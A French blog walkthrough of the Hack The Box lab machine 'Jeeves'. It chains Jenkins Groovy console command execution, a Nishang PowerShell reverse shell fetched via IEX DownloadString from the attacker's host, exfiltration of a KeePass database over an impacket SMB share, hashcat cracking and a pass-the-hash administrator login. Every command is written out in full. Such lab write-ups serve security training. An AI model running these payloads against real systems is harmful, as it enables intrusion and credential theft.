Jeeves : HTB Walkthrough

Penetration Testing Methodologies : 

Network scanning:cd  

  • Nmap 

Enumeration: 

  • Gobuster or Dirbuster 

Exploit 

PrivEsc 

  • Impacket_SmbServer 
  • Kee2Pass 
  • Hashcat  
  • Keepass 
  • WinExe and PH-WinExe 

Network Scanning 

Tout d’abord ,Nous Allons tout d’abord commencer par un Nmap pour scanner tout les ports ouverts de la machine Jeeves :  

 nmap -A -Pn -T5 10.10.10.63

-A : Enable OS detection, version detection, script scanning, and traceroute  

-Pn : Treat all hosts as online — skip host discovery 

Enumération: 

Mis à part le fait que les port smb et RPC qui sont ouvert nous deux port http d’ouverts : 80 et 50000 allons lancer respectivement un gobuster sur chacun d’eux afin d’enumerer les directory cachés : 

gobuster dir -u http://10.10.10.63:50000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 15 -o enum_http:80.txt 

-u : url 

-w : Choose a wordlist 

-o : output 

-t : Number of threads 

Du coté du port 80 rien de très spécial, on se rend compte que n’importe quelle requete de recherhce nous amène à une erreur du serveur qui enfaite n’est qu’une simple photo qui est à chaque fois affiché. 

Par contre au niveau du 50000 on a de quoi s’occuper , en effet le gobuster nous renvois un chemin interressant:  

/askjeeves (Status: 302) 

Mais c’est quoi Jenkins ? 

Jenkins est un outil logiciel d’intégration continu. Il s’agit d’un logiciel open source, développé à l’aide du langage de programmation Java. Il permet de tester et de rapporter les changements effectués sur une large base de code en temps réel. En utilisant ce logiciel, les développeurs peuvent détecter et résoudre les problèmes dans une base de code et rapidement. Ainsi les tests de nouveaux builds peuvent être automatisés, ce qui permet d’intégrer plus facilement des changements à un projet, de façon continue. L’objectif de Jenkin est en effet d’accélérer le développement de logiciels par le biais de l’automatisation. Jenkins permet l’intégration de toutes les étapes du cycle de développement. 

En allant un peu se balader sur le logiciel on remarque qu’on peut créer un script qu’on peut même exécuter quelque cmd, en faisant quelque recherhe sur du groovy script on apprend comment peut on executer des cmd : 

http://10.10.10.63:50000/askjeeves/script

Mon script pour PoC : 

cmd= “cmd.exe /c  whoami“ 
println cmd.execute().text 

Nice ça à l’air de bien marcher, on à trouver notre porte d’entrée. 

Exploit 

Logiquement on va essayer de se renvoyer un beau shell sur notre machine attaquant pour se faire le github Nishang est tout indiqué, je suis vraiment pro shell powershell mais dans ce cas je n’ai pas la méthode pour avoir un simple shell cmd.exe. 

En bref je vais devoir d’abord préparer mon reverse_shell puis le mettre sur un webserver python afin que je puisse le récuperer et l’executer sur la machine victime. 

On va git clone Nishang puis récupérer le fichier “Invoke-PowershellTcp.ps1” qui se trouve dans Shells, puis le copier vers notre dossier du CTF. 

Puis le modifier afin qu’il soit directement executer lors de la lecture du fichier, de ce fait on va ajouter une dernière ligne dans le script : 

Invoke-PowerShellTcp -Reverse –IPAddress <IP> -Port 1234 

Si vous vous demandez pourquoi cette ligne lisez le shell et il donne un moment donné des exemple de comment appeler le shell. 

Notre shell est près à être appeler. Pour qu’il soit appeler on va tout simplement créer un SimpleHttpSercer à l’endroit où se trouve le shell ,à l’aide de python en utilisant cette commande: 

python -m SimpleHTTPServer 8000 

Sur un autre terminal on va netcat pour recevoir notre shell: 

nc –lnvp 1234 

Désormais il nous reste plus qu’à ecrire notre mini script à injecter sur Jenkins , on peut s’aider de la page de red team que j’ai mis dans le sommaire et on obtient ce script : 

cmd= """ powershell.exe -C "IEX (New Object Net.WebClient).DownloadString('http://10.10.14.15:8000/shell1.ps1')" """ 
println cmd.execute().text 

En exécutant notre terminal un  tout shell tout beau de la machine victime en powershell : 

Privesc : 

Pour la partie user_owned je vous laisse chercher le hash n’est pas très loin. 

Pour ce qui est de Privesc en regardant un peu dans les dossier de kohsuke ( le user que nous avons pawned ) nous trouvons un fichier CEH.kdbx. 

C’est quoi l’extension kdbx ?  

C’est une base de donnée de keepass, autrement dit c’est un fichier contenant des information du keepass du user. 

Pour faire simple ce fichier est une mine d’or pour un hacker on peut facilement récupérer des mots de passe. 

Créer un smb-server pour exfiltrer ce fichier sur notre machine afin de le cracker 

En utilisant Impacket on peut créer un smb server avec cette command (faite cette commande dans le dossier du ctf en question pour pas vous mélanger les pinceau: 

impacket-smbserver final ./ 

Et sur la machine victime on va se connecter à ce serveur smb avec la command: 

New-PSDrive -Name "SimpleDossierDetente" -PSProvider "FileSystem" -ROOT "\\10.10.14.15\final" 

Normalement cela devrait vous permettre de créer un lien d’exfiltration de votre machine vers votre victime. Copions le fichier qui nous interresse sur notre machine: 

Désormais sur notre machine attaquant nous allons essayer d’afficher le hash de ce fichier avec keepass2john : 

keepass2john CEH.kdbx 
On obtiendra le hash CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48 

En regardant le type de hash sur : https://hashcat.net/wiki/doku.php?id=example_hashes 

On peut en conclure que utiliser hashcat on utilisera le –m 13400 pour ce hash : 

hashcat -m 13400 jeeves.keepass /usr/share/wordlists/rockyou.txt --show 

Et on obtient le lr mdp :moonshine1  

Ok alors du calme … ce mot de passe n’est qu’un simple mot de passe pour le keepass db. 

En ouvrant keepass2 et en appelant le CEH.kdbx on obtient tout les credz du users utilisés. 

En regardant de plus prêt on a un credz backup stuff avec un hash LM:NT :  

aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 

D’accord donc dans ce cas on va essayer de se connecter avec le user administastrator avec la méthode du pass the hash ( je suis assez directe mais avant de faire ça j’ai essaye de me connecter avec d’autre credz à l’aide de Winexe sans succès. 

pth-winexe -U jenkins/administrator:aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 
 //10.10.10.63 cmd.exe 

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s